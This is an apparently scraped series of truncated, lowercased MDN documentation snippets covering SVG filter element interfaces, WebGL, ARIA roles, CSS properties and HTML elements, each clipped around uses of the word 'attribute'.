attributes. svgfecompositeelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfecompositeelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_fecomposite_operator_* constants defined on this interface. svgfecompositeelement.values read only an svganimatednumberlist corr...
...ent.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfecompositeelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_fecomposite_operator_* constants defined on this interface. svgfecompositeelement.values read only an svganimatednumberlist corresponding to the values
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of 'svgfecompositeelement' in that specification. working draft no change ...
SVGFEDiffuseLightingElement - Web APIs
4" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfediffuselightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfediffuselightingelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfediffuselightingelement.surfacescale read only an svganimatednumber corresponding to the surfacescale
attribute of the given element. svgfediffuselightingelement.diffuseconstant read only an svganimatednumber corresponding to the diffuseconstant
attribute of the ...
...ent.surfacescale read only an svganimatednumber corresponding to the surfacescale
attribute of the given element. svgfediffuselightingelement.diffuseconstant read only an svganimatednumber corresponding to the diffuseconstant
attribute of the given element. svgfediffuselightingelement.kernelunitlengthx read only an svganimatednumber corresponding to the x component of the kernelunitlength
attribute of the given element. svgfediffuselightingelement.kernelunitlengthy read only an svganimatednumber corresponding to the y component of the kernelunitlength
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. specifications ...
SVGFEFloodElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefloodelement' in that specification. working draft no change scalabl...
...vents: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement, and implements properties from svgfilterprimitivestandard
attributes. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement, and implements methods from svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of 'svgfefloodelement' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefloodelement' in that specification. recommendation initial definition ...
SVGFEImageElement - Web APIs
methods this interface does not provide any specific methods, b...
...eelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandard
attributes and svgurireference. svgfeimageelement.preserveaspectratio read only an svganimatedpreserveaspectratio corresponding to the preserveaspectratio
attribute of the given element. svgfeimageelement.crossorigin read only an svganimatedstring reflects the crossorigin
attribute of the given element, limited to only known values. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandard
attributesand svgurireference. specifications spec...
SVGFEMergeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemergeelement' in that specification. working draft no change scalable vector g...
...dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of 'svgfemergeelement' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergeelement' in that specification. recommendation initial definition ...
SVGFEMorphologyElement - Web APIs
fine a new value of this type or to attempt to switch an existing value to this type. svg_morphology_operator_erode 1 corresponds to the erode value. svg_morphology_operator_dilate 2 corresponds to dilate value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfemorphologyelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfemorphologyelement.operator read only an svganimatedenumeration corresponding to the operator
attribute of the given element. it takes one of the svg_morphology_operator_* constants defined on this interface. svgfemorphologyelement.radiusx read only an svganimatednumb...
...ganimatedstring corresponding to the in
attribute of the given element. svgfemorphologyelement.operator read only an svganimatedenumeration corresponding to the operator
attribute of the given element. it takes one of the svg_morphology_operator_* constants defined on this interface. svgfemorphologyelement.radiusx read only an svganimatednumber corresponding to the x component of the radius
attribute of the given element. svgfemorphologyelement.radiusy read only an svganimatednumber corresponding to the y component of the radius
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. specifications specification status ...
Creating 3D objects using WebGL - Web APIs
gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } define the ...
... 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, // left face -1.0, -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0, ]; since we've added a z-component to our vertices, we need to update the numcomponents of our vertexposition
attribute to 3. // tell webgl how to pull out the positions from the position // buffer into the vertexposition
attribute { const numcomponents = 3; ... gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } define the vertices' colors we also need to build an array of colors for each of the 24 vertices. this code starts by defin...
WebGL best practices - Web APIs
u readpixels in conjunction with async data readback. always keep vertex attrib 0 array-enabled if you draw with vertex attrib 0 array disabled, you will force the browser to do complicated emulation when running on desktop opengl (such as on macos). this is because in desktop opengl, nothing gets drawn if vertex attrib 0 is not array-enabled. you can use bindattriblocation to force a vertex
attribute to use location 0, and use enablevertexattribarray(0) to make it array-enabled. estimate a per-pixel vram budget webgl doesn't offer apis to query the maximum amount of video memory on the system because such queries are not portable. still, applications must be conscious of vram usage and not just allocate as much as possible. one technique pioneered by the google maps team is the notion of a...
...ryings) is a performance boon. (the interpolation of varyings is very cheap, and is done automatically for you through the fixed functionality rasterization phase of the graphics pipeline) for example, a simple animation of a textured surface can be achieved through a time-dependent transformation of texture coordinates. (the simplest case being adding a uniform vector to the texture coordinates
attribute vector) if visually acceptable, one can transform the texture coordinates in the vertex shader rather than in the fragment shader, to get better performance. one common trade-off is to some lighting calculations per-vertex instead of per-fragment (pixel). in some cases, especially with simple models or dense vertices, this looks good enough. the inversion of this is if a model has more vertices...
Keyframe Formats - Web APIs
ou are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state is implied.
attributes keyframes may specify property-value pairs for any of the animatable css properties. the property names are specified using camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx. shorthand values such as margin are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a...
...are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript. it's just for reference here, this will have no effect on animation since "float" is not an animatable css property. offset, which must be written as cssoffset since "offset" represents the keyframe offset as described below. the following special
attributes may also be specified: offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes. if this value is null or missing, the keyframe will be evenly spaced between adjacent keyframes. easing the timing function used from this keyframe until the next...
Web Audio API best practices - Web APIs
d audio context with the startrendering() method. user control if your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. this can be achieved by play/stop and volume/mute controls. the using the web audio api tutorial goes over how to do this. if you have buttons that switch audio on and off, using the aria role="switch"
attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. there's a demo of how to use it here. as you work with a lot of changing values within the web audio api and will want to provide users with control over these, the range input is often a good choice of control to use. it's a good option as you can set...
...what the button's exact purpose is, and therefore making the app more accessible. there's a demo of how to use it here. as you work with a lot of changing values within the web audio api and will want to provide users with control over these, the range input is often a good choice of control to use. it's a good option as you can set minimum and maximum values, as well as increments with the step
attribute. setting audioparam values there are two ways to manipulate audionode values, which are themselves objects of type audioparam interface. the first is to set the value directly via the property. so for instance if we want to change the gain value of a gainnode we would do so thus: gainnode.gain.value = 0.5; this will set our volume to half. however, if you're using any of the audioparam's def...
Window: popstate event - Web APIs
tch the content and create its document before continuing. this will eventually send events such as domcontentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime. if current-entry's title wasn't set using one of the history api methods (pushstate() or replacestate(), set the entry's title to the string returned by its document.title
attribute. if the browser has state information it wishes to store with the current-entry before navigating away from it, it then does so. the entry is now said to have "persisted user state." this information the browser might add to the history session entry may include, for instance, the document's scroll position, the values of form inputs, and other such data. if new-entry has a different document o...
...fferent document object than current-entry, the browsing context is updated so that its document property refers to the document referred to by new-entry, and the context's name is updated to match the context name of the now-current document. each form control within new-entry's document that has autocomplete configured with its autofill field name set to off is reset. see the html autocomplete
attribute for more about the autocomplete field names and how autocomplete works. if new-entry's document is already fully loaded and ready—that is, its readystate is complete—and the document is not already visible, it's made visible and the pageshow event is fired at the document with the pagetransitionevent's persisted
attribute set to true. the document's url is set to that of new-entry. if the ...
Window.speechSynthesis - Web APIs
ment.queryselector('input'); var voiceselect = document.queryselector('select'); function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.set
attribute('data-lang', voices[i].lang); option.set
attribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var sel...
... draft ...
x-ms-aria-flowfrom - Accessibility
ere may also be large incompatibilities between implementations and the behavior may change in the future. the x-ms-aria-flowfrom property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship
attributes and the aria-flowto property. this proprietary property is specific to internet explorer and microsoft edge. syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which previous element the reading order will flow from. example <div tabindex="0" class="foo" id="element2" role="option" aria-posinset="1" aria-setsize="15" aria-flow...
...ernet explorer and microsoft edge. ...
Using ARIA: Roles, states, and properties - Accessibility
document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget
attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselectable aria-orientation aria-placeholder aria-pressed aria-readonly aria-required aria-selected aria-sort aria-valuemax aria-valuemin aria-valuenow aria-valuetext live region a...
...message aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselectable aria-orientation aria-placeholder aria-pressed aria-readonly aria-required aria-selected aria-sort aria-valuemax aria-valuemin aria-valuenow aria-valuetext live region
attributes aria-live aria-relevant aria-atomic aria-busy drag & drop
attributes aria-dropeffect aria-dragged relationship
attributes aria-activedescendant aria-colcount aria-colindex aria-colspan aria-controls aria-describedby aria-details aria-errormessage aria-flowto aria-labelledby aria-owns aria-posinset aria-rowcount aria-rowindex aria-rowspan aria-setsize microsoftedge-specific properties x-ms-aria-flowfrom ...
ARIA: article role - Accessibility
a means to navigate among articles. they may also support indication of nesting relationships within articles. articles can be nested, indicating that a nested article directly relates to the one it is nested in, but not necessarily to the ones outside the nesting hierarchy. see the examples for specific use cases. if an article is part of a feed, it can have the aria-posinset and aria-setsize
attributes set to indicate which position within the feed this particular article represents. inside an application or other widget that causes screen readers and other assistive technologies to be in pass-through mode, an article can be used to indicate that these should switch back to treating the enclosed content as regular web content. instead of including the article role on a non-semantic element, ...
... the position of this particular article within that feed, based on a count starting at 1. aria-setsize in the context of a feed, indicates how many article items there are within that feed. keyboard interactions this role does not support any specific keyboard interaction. required javascript features event handlers this role does not require any event handlers to be present. changing
attribute values when constructing a feed, set the aria-posinset and aria-setsize
attributes on each article role to the appropriate values, bearing in mind that aria-posinset is 1-based. always use native element if available. instead of a div with the article role, the <article> element should be used. examples the restaurant recommendations feed display along with its separate documentation fro...
ARIA: document role - Accessibility
e document element is collapsible, to indicate if the document is currently expanded or collapsed. other values include the default undefined which means the document is not collapsible. tabindex="0" used to make it focusable so the assistive technology user can tab to it and start reading right away. keyboard interactions the element should be made focusable by setting the tabindex="0"
attribute / value pair on it. this way, the user can tab to it, reading mode is invoked automatically, and the content can be read right away. required javascript features none, except as required by any
attributes. for example, if the document is collapsible, then the state and the value of aria-expanded must be maintained. examples an example is gmail and the single conversation view. gmail is a web ...
..., expand or collapse them, and manipulate them. once focus returns to the message list either by activating the back button or pressing an asociated keystroke, direct application interaction mode is invoked again, and the user can move to a different conversation in the list with the arrow keys. best practices always make sure an item with the document role is focusable, by setting the tabindex
attribute with a value of 0. that will also include it in the tab order. added benefits the document role is an easy way to indirectly control assistive technology behavior by unambiguously stating that this is content the user should read with standard screen reader commands. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of ...
ARIA: figure role - Accessibility
ent. you should make sure that it is accessible just like any other content. for example, make sure it is perceivable by users of assistive technology, navigable by keyboard as well as mouse, and so on. you can add a caption or label to your figure in a number of ways. you could add an id to an element containing content that describes the figure, and then reference that id inside an appropriate
attribute on the figure to associate the figure with the label: <div role="figure" aria-labelledby="figure-1"> ... <p id="figure-1">text that describes the figure.</p> </div> use aria-labelledby when the text is a concise label. use aria-describedby when the text is a longer description. again, this can be done semantically, without aria, with html's <figure> and <figcaption> elements <figure> ...
...cribedby when the text is a longer description. again, this can be done semantically, without aria, with html's <figure> and <figcaption> elements <figure> ... <figcaption>text that describes the figure.</figcaption> </figure> if you don't want the label to be visible on the screen, but still want to provide a descriptive label for assistive technology users, you can use the aria-label
attribute on the figure container: <div role="figure" aria-label="text that describes the figure."> ... </div> you can use the aria-label with <figure> as well: <figure aria-label="text that describes the figure."> ... </figure> generally, you should reference the figure from the main text, but the figure need not be displayed at the same location as the referencing element. note: if at all possi...
ARIA: Main role - Accessibility
ontent --> </div> <!-- sidebar and footer --> </body> accessibility concerns use only one main role per document the main landmark role should only be used once per document. if a document contains two main roles, say updating page content when triggered by javascript, the inactive main role's presence should be removed from assistive technology via techniques such as toggling the hidden
attribute. <main> <h1>active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>hidden <code>main</code> element</h1> <!-- content --> </main> best practices prefer html using the <main> element will automatically communicate a section has a role of main. if at all possible, prefer using it instead. skip navigation skip navigation, also known as "skipnav", is a techniq...
...ent will automatically communicate a section has a role of main. if at all possible, prefer using it instead. skip navigation skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.). this allows the user to access the main content of the page faster. adding an id
attribute to the element with a declaration of role="main" allows it to be a target of a skip navigation link. <body> <a href="#main-content">skip to main content</a> <!-- navigation and header content --> <div id="main-content" role="main"> <!-- main page content --> </div> </body> webaim: "skip navigation" links added benefits certain technologies such as browser extensions can gene...
ARIA: dialog role - Accessibility
ve controls inside the dialog. in other words, the dialog's label acts like a grouping label for the controls inside it (similar to how a <legend> element provides a grouping label for the controls inside a <fieldset> element). if a dialog already has a visible title bar, the text inside that bar can be used to label the dialog itself. the best way to achieve this is by using the aria-labelledby
attribute to the role="dialog" element. additionally, if the dialog contains additional descriptive text besides the dialog title, this text can be associated with the dialog using the aria-describedby
attribute. this approach is shown in the code snippet below: <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully...
...it is still possible to interact with content outside of the dialog while the dialog is showing. note that for non-modal dialogs there will have to be a global keyboard shortcut that allows focus to be moved between opened dialogs and the main page. for more information see the managing modal and non modal dialogs guide. associated aria roles, states, and properties aria-labelledby use this
attribute to label the dialog. often, the value of the aria-labelledby
attribute will be the id of the element used to title the dialog. aria-describedby use this
attribute to describe the contents of the dialog. possible effects on user agents and assistive technology when the dialog role is used, the user agent should do the following: expose the element as a dialog in the operating system's acc...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
ory after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21. isn’t that cool? you do not need to navigate around to find out the unit. “days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find this out other than navigating around with screen reviewing commands. the solution is in an aria
attribute called aria-labelledby. its parameter is a string that consists of the ids of the html elements you want to concatenate into a single accessible name. both aria-labelledby and aria-describedby are specified on the form element that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overridden by aria-labelledby. if on an html pag...
... is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overridden by aria-labelledby. if on an html page you provide aria-labelledby, you should also provide a label for construct to also support older browsers that do not have aria support yet. with firefox 3, your blind users will automatically get better accessibility from the new
attribute, but the users of older browsers are not left in the dark this way. example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> minutes</s...
Mobile accessibility checklist - Accessibility
a colour must be also available by other means too (underlined text for links, etc.) visibility content hiding techniques such as zero opacity, z-index order and off-screen placement must not be used exclusively to handle visibility. everything other than the currently visible screen must be truly invisible (especially relevant for single page apps with multiple cards): use the hidden
attribute or visibility or display style properties. unless absolutely unavoidable, aria-hidden
attribute should not be used. focus all activatable elements must be focusable: standard controls such as links, buttons, and form fields are focusable by default. non-standard controls must have an appropriate aria role assigned to them, such as button, link, or checkbox. focus shou...
...tandard controls must have an appropriate aria role assigned to them, such as button, link, or checkbox. focus should be handled in a logical order and consistent manner. text equivalents text equivalent must be provided for every non-strictly presentational non-text element within the app. use alt and title where appropriate (see steve faulkner's post about using the html title
attribute for a good guide.) if the above
attributes are not applicable, use appropriate aria states and properties such as aria-label, aria-labelledby, or aria-describedby. images of text must be avoided. all user interface components with visible text (or image of text) as labels must have the same text available in the programmatic name of the component. wcag 2.1: label in name. all form cont...
direction - CSS: Cascading Style Sheets
and ltr for those written from left to right (like english and most other languages). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... the direction and unicode-bidi properties are the two only properties which are not affected by the all shorthand property. ...
font-language-override - CSS: Cascading Style Sheets
perty controls the use of language-specific glyphs in a typeface. /* keyword value */ font-language-override: normal; /* <string> values */ font-language-override: "eng"; /* use english glyphs */ font-language-override: "trk"; /* use turkish glyphs */ /* global values */ font-language-override: initial; font-language-override: inherit; font-language-override: unset; by default, html's lang
attribute tells browsers to display glyphs designed specifically for that language. for example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would ...
...cks proper support for the language. for instance, if a typeface doesn't have proper rules for the azeri language, you can force the font to use turkish glyphs, which follow similar rules. syntax the font-language-override property is specified as the keyword normal or a <string>. values normal tells the browser to use font glyphs that are appropriate for the language specified by the lang
attribute. this is the default value. <string> tells the browser to use font glyphs that are appropriate for the language specified by the string. the string must match a language tag found in the opentype language system. for example, "eng" is english, and "kor" is korean. formal definition initial valuenormalapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescompu...
hyphens - CSS: Cascading Style Sheets
ithin the text, or let the browser automatically insert hyphens where appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. hyphenation rules are language-specific. in html, the language is determined by the lang
attribute, and browsers will hyphenate only if this
attribute is present and the appropriate hyphenation dictionary is available. in xml, the xml:lang
attribute must be used. note: the rules defining how hyphenation is performed are not explicitly defined by the specification, so the exact hyphenation may vary from browser to browser. syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens...
...at appropriate hyphenation points, following whatever rules it chooses. however, suggested line break opportunities (see suggesting line break opportunities below) will override automatic break point selection when present. note: the auto setting's behavior depends on the language being properly tagged to select the appropriate hyphenation rules. you must specify a language using the lang html
attribute to guarantee that automatic hyphenation is applied in that language. suggesting line break opportunities there are two unicode characters used to manually specify potential line break points within text: u+2010 (hyphen) the "hard" hyphen character indicates a visible line break opportunity. even if the line is not actually broken at that point, the hyphen is still rendered. u+00ad (shy) ...
Challenge solutions - Developer guides
its color changes, and jumps back afterwards. solution add lines to modify the margin-left property. be sure to specify it as marginleft in javascript. ...
...button) { var square = document.getelementbyid("square"); square.style.backgroundcolor = "#fa4"; square.style.marginleft = "20em"; button.set
attribute("disabled", "true"); settimeout(cleardemo, 2000, button); } function cleardemo (button) { var square = document.getelementbyid("square"); square.style.backgroundcolor = "transparent"; square.style.marginleft = "0em"; button.remove
attribute("disabled"); } svg and css change color of inner petals challenge change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, without changing the way the outer petals work. solution move the position of the :hover pseudo-class from a specific petal, to all petals #inner-petals { --segment-fill-fill-hover: pink; } /* non-standard w...
Rich-Text Editing in Mozilla - Developer guides
ou are advised to consult the more up-to-date document available at making content editable. mozilla 1.3 introduces an implementation of microsoft® internet explorer's designmode feature. the rich-text editing support in mozilla 1.3 supports the designmode feature which turns html documents into rich-text editors. starting in firefox 3, mozilla also supports internet explorer's contenteditable
attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable environment). setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the document becomes a rich-text editing area and the ...
...ng migrated from another site. they are not available at this time. --fumble 18:13, 24 apr 2005 (pdt) example 1 the first example is an html document setting its own designmode to "on". this makes the entire document editable in mozilla 1.3. internet explorer, however, does not allow javascript to change the current document's designmode. for it to work in internet explorer, the contenteditable
attribute of the body tag needs to be set to "true". figure 2 : first example html: <body contenteditable="true" onload="load()"> javascript: function load(){ window.document.designmode = "on"; } example 2 the second example is a simple rich text editing page, where text can be bolded/italicized/underlined, new links can be added and the color of text changed. the example page consists of an iframe...
User input and controls - Developer guides
al and reference, read our pointer_lock_api page. screen orientation when screen orientation matters for your application, you can read the screen orientation state, be informed when this state changes, and able to lock the screen orientation to a specific state (usually portrait or landscape) through the screen orientation api. orientation data can be retrieved through the screen.orientation
attribute or through the orientation media feature. when screen.orientation changes, the screen.orientationchange event is fired on the screen object. locking the screen orientation is made possible by invoking the screen.lockorientation method, while the screen.unlockorientation method removes all the previous screen locks that have been set. note: more information about the screen orientation api can b...
... hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there. here is an example that allows a section of content to be dragged. <div draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')">
this text <strong>may</strong> be dragged.
</div> in which we: set the draggable
attribute to true on the element that you wish to make draggable add a listener for the dragstart event and set the drag data within this listener note: you can find more information in the mdn drag & drop documentation. contenteditable in open web apps any dom element can be made directly editable using the contenteditable
attribute. <div contenteditable="true">
this text can be edited by t...
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
the color to use when drawing emphasis symbols adjacent to each character in the text. this is used primarily when drawing text for east asian languages. caret-color the color to use when drawing the caret (sometimes referred to as the text input cursor) within the element. this is only useful in elements that are editable, such as <input> and <textarea> or elements whose html contenteditable
attribute is set. boxes every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have. borders see the section borders for a list of the css properties you can use to set the colors of a box's borders. background-color the background color to use in areas of the element that have no foreground content. column-rule-color the ...
...or you're implementing a drawing app. maybe you have editable text and need to let the user choose the text color. or perhaps your app lets the user assign colors to folders or items. although historically it's been necessary to implement your own color picker, html now provides support for browsers to provide one for your use through the <input> element, by using "color" as the value of its type
attribute. the <input> element represents a color only in the hexadecimal string notation covered above. example: picking a color let's look at a simple example, in which the user can choose a color. as the user adjusts the color, the border around the example changes to reflect the new color. after finishing up and picking the final color, the color picker's value is displayed. on macos, you indica...
<article>: The Article Contents element - HTML: Hypertext Markup Language
tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that an <article> element must not be a descendant of an <address> element. implicit aria role article permitted aria roles application, document, feed, main, none, presentation, region dom interface htmlelement
attributes this element only includes the global
attributes. usage notes each <article> should be identified, typically by including a heading (<h1>-<h6> element) as a child of the <article> element. when an <article> element is nested, the inner element represents an article related to the outer element. for example, the comments of a blog post can be <article> elements nested in the <article> repre...
...esents an article related to the outer element. for example, the comments of a blog post can be <article> elements nested in the <article> representing the blog post. author information of an <article> element can be provided through the <address> element, but it doesn't apply to nested <article> elements. the publication date and time of an <article> element can be described using the datetime
attribute of a <time> element. note that the pubdate
attribute of <time> is no longer a part of the w3c html5 standard. examples <article class="film_review"> <header> <h2>jurassic park</h2> </header> <section class="main_review"> <p>dinos were great!</p> </section> <section class="user_reviews"> <article class="user_review"> <p>way too scary for me.</p> <footer> ...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement
attributes this element only includes the global
attributes. usage notes use the <b> for cases like keywords in a summary, product names in a review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance). do not confuse the <b> element with the <strong>, <em>, or <mark> elements. the <strong> element represents text of certain importance, <em>...
...tain relevance. the <b> element doesn't convey such special semantic information; use it only when no others fit. similarly, do not mark titles and headings using the <b> element. for this purpose, use the <h1> to <h6> tags. further, stylesheets can change the default style of these elements, with the result that they are not necessarily displayed in bold. it is a good practice to use the class
attribute on the <b> element in order to convey additional semantic information as needed (for example <b class="lead"> for the first sentence in a paragraph). this makes it easier to manage multiple use cases of <b> if your stylistic needs change, without the need to change all of its uses in the html. historically, the <b> element was meant to make text boldface. styling information has been deprecated ...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
some text like: embedded-text - 1st place if embedded-text is ltr, this works fine. but if embedded-text is rtl, then - 1 will be treated as rtl text (because it consists of neutral and weak characters). the result will be garbled: 1 - embedded-textst place if you know the directionality of embedded-text in advance, you can fix this problem by wrapping embedded-text in a <span> with the dir
attribute set to the known directionality. but if you don't know the directionality - for example, because embedded-text is being read from a database or entered by the user - you should use <bdi> to prevent the directionality of embedded-text from affecting its surroundings. though the same visual effect can be achieved using the css rule unicode-bidi: isolate on a <span> or another text-formatting eleme...
... categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement
attributes like all other html elements, this element supports the global
attributes, except that the dir
attribute behaves differently than normal: it defaults to auto, meaning its value is never inherited from the parent element. this means that unless you specify a value of either rtl or ltr for dir, the user agent will determine the correct directionality to use based on the contents of the <bdi>. ex...
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
the internet explorer only html background sound element (<bgsound>) sets up a sound file to play in the background while the page is used; use <audio> instead. do not use this! in order to embed audio in a web page, you should be using the <audio> element.
attributes balance this
attribute defines a number between -10,000 and +10,000 that determines how the volume will be divided between the speakers. ...
... html background sound element (<bgsound>) sets up a sound file to play in the background while the page is used; use <audio> instead. do not use this! in order to embed audio in a web page, you should be using the <audio> element.
attributes balance this
attribute defines a number between -10,000 and +10,000 that determines how the volume will be divided between the speakers. loop this
attribute indicates the number of times a sound is to be played and either has a numeric value or the keyword infinite. src this
attribute specifies the url of the sound file to be played, which must be one of the following types: .wav, .au, or .mid. volume this
attribute defines a number between -10,000 and 0 that determines the loudness of a page's background sound. example <bgsound src="sound1.mi...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. ...
...tent categories flow content, sectioning root, palpable content. permitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement
attributes this element's
attributes include the global
attributes. cite a url that designates a source document or message for the information quoted. this
attribute is intended to point to information explaining the context or the reference for the quote. usage notes to change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shortha...
<body>: The Document Body element - HTML: Hypertext Markup Language
ly followed by a comment. permitted parents it must be the second element of an <html> element. implicit aria role document permitted aria roles no role permitted dom interface htmlbodyelement the <body> element exposes the htmlbodyelement interface. you can access the <body> element through the document.body property.
attributes this element includes the global
attributes. alink color of text for hyperlinks when selected. this method is non-conforming, use css color property in conjunction with the :active pseudo-class instead. background uri of a image to use as a background. this method is non-conforming, use css background property on the element instead. bgcolor background color for the document. this...
... </head> <body> <p>this is a paragraph</p> </body> </html> specifications specification status comment html living standardthe definition of '<body>' in that specification. living standard changed the list of non-conforming features. html5the definition of '<body>' in that specification. recommendation obsoleted the formerly deprecated
attributes. defined the behavior of the non-conforming and never standardized topmargin, leftmargin, rightmargin and bottommargin. added the on*
attributes. html 4.01 specificationthe definition of '<body>' in that specification. recommendation deprecated the alink, background, bgcolor, link, text and vlink
attributes. ...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
use the html <canvas> element with either the canvas scripting api or the webgl api to draw graphics and animations. content categories flow content, phrasing content, embedded content, palpable content. permitted content transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type
